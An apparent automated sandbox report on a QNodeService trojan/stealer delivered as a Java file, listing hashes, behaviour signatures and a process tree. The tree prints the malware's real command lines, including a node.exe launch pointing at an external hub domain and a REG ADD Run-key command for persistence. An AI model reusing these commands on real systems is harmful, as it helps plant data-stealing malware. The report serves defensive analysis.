Analysis

  • max time kernel
    146s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15-10-2020 11:27

General

  • Target

    PO#361609.jar

  • Size

    405KB

  • MD5

    4488c5c2c35855192183e56d4330fc47

  • SHA1

    abc5695603e4db7faf44044b082e93cf80cc44fc

  • SHA256

    c8bbca65949b22c27927e6e300071fe1b1a995c5b2adbc207359404b4bbf7803

  • SHA512

    7eae0510e232f4fafe1ef064f7a6767865ff3ebbbb986c129dc3df236b46d5207f66b248578b640ef12bd2567841f7f95754f7b58f93d41b35b8a80a30022c52

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\PO#361609.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3ec46c10.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain holdlozx.riepsol.com --hub-domain localhost
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4016
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JRMJC2\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2380
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JRMJC2\boot.js --hub-domain holdlozx.riepsol.com --hub-domain localhost
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1500
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "060d1dae-cb86-4473-b07e-6165e4613afe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2112
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "060d1dae-cb86-4473-b07e-6165e4613afe" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2264

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1500-182-0x0000027649040000-0x0000027649041000-memory.dmp

    Filesize

    4KB

  • memory/2380-176-0x0000032E01E80000-0x0000032E01E81000-memory.dmp

    Filesize

    4KB

  • memory/4016-173-0x00000188761C0000-0x00000188761C1000-memory.dmp

    Filesize

    4KB